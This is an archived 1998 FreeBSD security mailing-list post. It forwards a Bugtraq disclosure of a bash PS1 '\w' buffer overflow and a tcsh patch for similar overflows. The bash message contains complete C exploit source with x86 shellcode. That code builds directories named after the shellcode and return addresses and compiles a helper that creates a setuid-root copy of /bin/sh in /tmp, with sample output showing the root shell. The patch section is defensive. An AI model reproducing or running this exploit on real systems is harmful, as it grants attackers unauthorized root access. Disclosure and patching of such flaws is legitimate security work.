From owner-freebsd-security Tue Sep 15 05:53:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA29414 for freebsd-security-outgoing; Tue, 15 Sep 1998 05:53:26 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail.euroweb.hu (mail.euroweb.hu [193.226.220.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA29391 for ; Tue, 15 Sep 1998 05:53:17 -0700 (PDT) (envelope-from hu006co@mail.euroweb.hu) Received: (from hu006co@localhost) by mail.euroweb.hu (8.8.5/8.8.5) id OAA21692 for freebsd.org!freebsd-security; Tue, 15 Sep 1998 14:52:49 +0200 (MET DST) Received: (from zgabor@localhost) by CoDe.hu (8.8.8/8.8.8) id NAA01220 for freebsd-security@freebsd.org; Tue, 15 Sep 1998 13:04:43 +0200 (CEST) (envelope-from zgabor) From: Zahemszky Gabor Message-Id: <199809151104.NAA01220@CoDe.hu> Subject: csh/bash/tcsh/others? buffer overflow To: freebsd.org!freebsd-security@zg.CoDe.hu Date: Tue, 15 Sep 1998 13:04:43 +0200 (CEST) X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi! Did anybody read in bugtraq the story about bash/tcsh overflow (with the code for Linux)? Well, I've tried it on 2.2.7-R with csh - the default shell for root - and it dumps core!. By the way, with a correct - and FreeBSD specific code, it might give root permissions, as the Linux trick with linux-emu (and a bash-specific code) doesn't work. Here are the most important letters about it: -------------------------------------------- Date: Sat, 5 Sep 1998 21:28:05 +0000 From: MiG Subject: BASH buffer overflow, LiNUX x86 exploit Here it is example exploit for buffer overflow in bash which occurs when there is set '\w' in PS1 environment variable (Joao Manuel Carolino post). This exploit was tested on Linux x86 systems: - - Debian 1.3.1, bash 2.0.0(1) - - Red Hat 5.0, bash 1.4.17(1) How it works: ~~~~~~~~~~~~~ Run it as ordinary user: [debian]:~$ id uid=1000(test) gid=1000(test) groups=1000(test) [debian]:~$ ./bashps1 BASH '\w' option in PS1 exploit example - Creating /tmp/tp.c - Compiling /tmp/tp.c to /tmp/tp - Removing /tmp/tp.c - Creating directories AAA.../AAA.../AAA.../CODE.../ADDR... - OK If everything goes fine you should have 'tp' file in /tmp dir: [debian]:~$ ls -l /tmp/tp -rwxr-xr-x 1 test test 3981 Sep 4 20:54 tp Then as root do: bash# export PS1='bash:\w\$ ' debian:~# cd ~test debian:/home/test# cd AAAAAAAA*/*/*/*/* shell-init: could not get current directory: getwd: cannot access parent directories shell-init: could not get current directory: getwd: cannot access parent directories The bash dies... Check if there is suid shell in tmp dir: [debian]:~$ ls -l /tmp/sh -rwsr-sr-x 1 root root 304676 Sep 4 20:55 sh Remember, whole directories are treated here as x86 assembler instructions, so AAA.../AAA... are: incl %ecx incl %ecx incl %ecx ... das incl %ecx incl %ecx incl %ecx ... So you can't change it on ordinary words, unless you know what you are doing. Here is it the code: - ----x----x----x----x----bashps1.c----x----x----x----x----x----x----x---- /* * BASH: '\w' in PS1 environment variable - x86 exploit * by Miroslaw Grzybek * * - tested on: DEBIAN LINUX 1.3.1, BASH 2.0.0(1) * RED HAT LINUX 5.0, BASH 1.4.17(1) * * THIS IS FOR EDUCATIONAL PURPOSES ONLY * USE IT AT YOUR OWN RISK * * When run, this program creates directories: * AAAAAA....../AAAAAA....../AAAAAA....../CODE......./RETADDR..... * (255 bytes) (255 bytes) (255 bytes) (50 bytes) (255 bytes) * * When you have '\w' included in your PS1 env. variable and * enter to the last of this directories, then "/tmp/tp" program is * executed and SUID shell "/tmp/sh" is created */ #include /* * Code we would like to run when stack is smashed */ char code[] = "\xeb\x24" /* jmp GETADDR */ /* RUNPROG: */ "\x5e" /* popl %esi */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xfe\x06" /* incb (%esi) */ "\xfe\x46\x04" /* incb 0x4(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* incl %eax */ "\xcd\x80" /* int $0x80 */ /* GETADDR: */ "\xe8\xd7\xff\xff\xff" /* call RUNPROG */ ".tmp.tp"; /* Program to run .XXX.XX */ /* * Return address, you may have to change it if expl. doesn't works */ int ADDR=0xbffff2ff; void main(void) { char dir[256]; int i, align; printf("BASH '\\w' option in PS1 exploit example\n"); printf("- Creating /tmp/tp.c\n"); system("echo 'main() {' > /tmp/tp.c"); system("echo 'system(\"cp /bin/sh /tmp/sh\");' >> /tmp/tp.c"); system("echo 'system(\"chmod +s /tmp/sh\");' >> /tmp/tp.c"); system("echo '}' >> /tmp/tp.c"); printf("- Compiling /tmp/tp.c to /tmp/tp\n"); system("gcc -o /tmp/tp /tmp/tp.c"); printf("- Removing /tmp/tp.c\n"); system("rm -f /tmp/tp.c"); /* Computing alignment for the 'address' directory */ getcwd(dir,255); align=(strlen(dir)+2) % 4; memset(dir,'A',255); dir[255]=0; printf("- Creating directories AAA.../AAA.../AAA.../CODE.../ADDR...\n"); mkdir(dir,0777); chdir(dir); mkdir(dir,0777); chdir(dir); mkdir(dir,0777); chdir(dir); /* create directory which name is our code */ mkdir(code,0777); chdir(code); /* create directory which name is return addresses */ for(i=align;i<252;i+=4) *(int *)&dir[i]=ADDR; mkdir(dir,0777); chdir("../../../../"); printf("- OK\n\n"); } - ----x----x----x----x----x----x----x----x----x----x----x----x----x----x---- Miroslaw Grzybek, Cieszyn, POLAND http://www.polsl.gliwice.pl/~mig mig@polsl.gliwice.pl 5E 13 03 B7 EA A1 CC 15 50 48 C4 96 5A EA 04 -------------------------------------------- >From owner-bugtraq@NETSPACE.ORG Tue Sep 15 08:33:38 1998 Date: Tue, 15 Sep 1998 03:02:24 +0200 From: Wichert Akkerman Subject: tcsh buffer overflow After the whole mess with bash recently I decided to take a short look at tcsh and found it has the same problems. Although tcsh-scripts are very uncommon, it's still exploitable. Below is a patch which should fix the problems. --- --- tcsh-6.07.06.orig/sh.dir.c +++ tcsh-6.07.06/sh.dir.c @@ -78,7 +78,7 @@ char path[MAXPATHLEN]; =20 /* Don't believe the login shell home, because it may be a symlink */ - tcp =3D (char *) getwd(path); + tcp =3D (char *) getcwd(path, MAXPATHLEN); if (tcp =3D=3D NULL || *tcp =3D=3D '\0') { xprintf("%s: %s\n", progname, path); if (hp && *hp) { @@ -549,7 +549,8 @@ } #endif /* apollo */ =20 - (void) strcpy(ebuf, short2str(cp)); + (void) strncpy(ebuf, short2str(cp), MAXPATHLEN); // WTA: make sure we = don't overflow ebuf + ebuf[MAXPATHLEN-1]=3D0; /* * if we are ignoring symlinks, try to fix relatives now. * if we are expading symlinks, it should be done by now. @@ -1061,7 +1062,7 @@ #endif /* apollo */ continue; /* canonicalize the link */ } -#endif /* S_IFLNK */ +#endif /* S_IFLNKXYZ */ if (slash) *p =3D '/'; } @@ -1096,7 +1097,8 @@ /* * Start comparing dev & ino backwards */ - p2 =3D Strcpy(link, cp); + p2 =3D Strncpy(link, cp, MAXPATHLEN); // WTA: remember that length-check! + link[MAXPATHLEN-1]=3D0; found =3D 0; while (*p2 && stat(short2str(p2), &statbuf) !=3D -1) { if (DEV_DEV_COMPARE(statbuf.st_dev, home_dev) && @@ -1119,7 +1121,7 @@ cp =3D newcp; } } -#endif /* S_IFLNK */ +#endif /* S_IFLNKXYZ */ =20 #ifdef apollo if (slashslash) { @@ -1255,7 +1257,9 @@ return (0); } } - (void) Strcpy(s, dp->di_name); + + (void) Strncpy(s, dp->di_name, MAXPATHLEN); // WTA: assume MAXPATHLEN = is okay + s[MAXPATHLEN-1]=3D0; return (1); } -------------------------------------- Gabor Zahemszky ZGabor at CoDe dot HU -- #!/bin/ksh Z='21N16I25C25E30, 40M30E33E25T15U!' ;IFS=' ABCDEFGHIJKLMNOPQRSTUVWXYZ ';set $Z ;for i { [[ $i = ? ]]&&print $i&&break;[[ $i = ??? ]]&&j=$i&&i=${i%?};typeset -i40 i=8#$i;print -n ${i#???};[[ "$j" = ??? ]]&&print -n "${j#??} "&&j=;typeset +i i;};IFS=' 0123456789 ';set $Z;X=;for i { [[ $i = , ]]&&i=2;[[ $i = ?? ]]||typeset -l i;X="$X $i";typeset +l i;};print "$X" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message